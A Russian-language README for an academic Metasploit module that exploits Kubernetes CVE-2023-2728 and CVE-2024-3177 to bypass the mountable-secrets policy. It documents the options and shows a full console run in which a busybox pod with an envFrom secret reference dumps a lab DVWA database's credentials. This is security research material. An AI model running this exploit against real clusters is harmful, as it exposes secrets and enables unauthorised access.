Модуль, написанный на Ruby, предназначенный для эксплуатации уязвимостей CVE-2023-2728 и CVE-2024-3177, обе связаны с политикой монтирования секретов в кластере Kubernetes с использованием пользовательского модуля Metasploit. Является частью выпускного проекта магистерской программы по кибербезопасности.
Этот пользовательский модуль эксплуатирует CVE 2023-2728 и CVE 2024-3177 в версиях Kubernetes, уязвимых к каждой из них (например, v1.27.2 уязвима к обеим), связанных с обходом наложения политики монтируемых секретов, накладываемой плагином авторизации ServiceAccount в Kubernetes, с использованием различных типов контейнеров и стратегий. Основная цель — получить нужные секреты и представить их в переменных окружения в удобном для пользователя виде.
use auxiliary/cloud/kubernetes/double_secrets_cverun.Определяет тип контейнера, используемого в Pod, который создаётся в целевом кластере для эксплуатации уязвимости. Может быть normal (эквивалент обычных контейнеров), init или ephemeral.
Позволяет выбрать уязвимость, которую нужно эксплуатировать. Доступные варианты: 2024-3177 и 2023-2728. Если указана любая другая уязвимость, модуль её не распознает и выдаст ошибку, что является нормальным результатом.
Указывает образ контейнера для создания Pod, например busybox (вариант по умолчанию), так как это очень полезный образ благодаря своей лёгкости и универсальности, объединяющий множество утилит Linux в одном небольшом исполняемом файле и включающий самые распространённые утилиты Unix, такие как ls, cp, mv, cat или sh, что делает его очень подходящим для систем с ограниченными ресурсами или для быстрых тестов, как, возможно, в данном случае, когда не требуется конкретный образ, а только чтобы Pod был создан корректно.
Указывает пространство имён в Kubernetes, в котором будет создан Pod. Должно совпадать с пространством имён, где находится раскрываемый секрет.
Определяет имя, которое будет присвоено создаваемому Pod.
Строка прокси для использования в формате type:host:port[,type:host:port][...]. Это стандартная опция Metasploit, не используемая в данном модуле.
Указывает IP-адрес или диапазон IP-адресов цели, в данном случае кластера Kubernetes, в котором требуется эксплуатировать уязвимость. Эта опция является одной из стандартных опций Metasploit.
Определяет TCP-порт цели, к которому будет подключаться модуль. Это стандартная опция Metasploit.
Указывает имя секрета в Kubernetes, который требуется раскрыть. Для этого необходимо иметь соответствующие разрешения.
Позволяет определить, использовать ли существующую сессию. В данном модуле эта опция не используется и является необязательной. Это стандартная опция.
Определяет, следует ли устанавливать SSL/TLS-соединение для исходящих подключений. Это стандартная опция Metasploit, её включение необязательно — зависит от того, как пользователь подключается к своему целевому кластеру.
Указывает базовый путь к целевой Kubernetes API, например /api/v1. Эта опция является пользовательской и используется для упрощения планирования некоторых подключений в модуле.
Определяет токен аутентификации, который будет использоваться для взаимодействия с Kubernetes API. Важно, чтобы этот токен имел необходимые разрешения, в противном случае модуль завершится ошибкой из-за отсутствия прав на создание или перечисление определённых ресурсов в кластере.
Позволяет указать HTTP-виртуальный хост. Это стандартная опция Metasploit, не используемая в модуле.
Примечание: в markdown секреты выделены как ** СЕКРЕТ ** в начале и конце, в коде это не так — там они выделены красным для лучшей видимости пользователем, чего нельзя было сделать в файле README из-за ограничений языка разметки Markdown на платформе GitHub.
Явная установка RHOST и TOKEN для перечисления секретов, указанных в опции SECRET_NAME:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed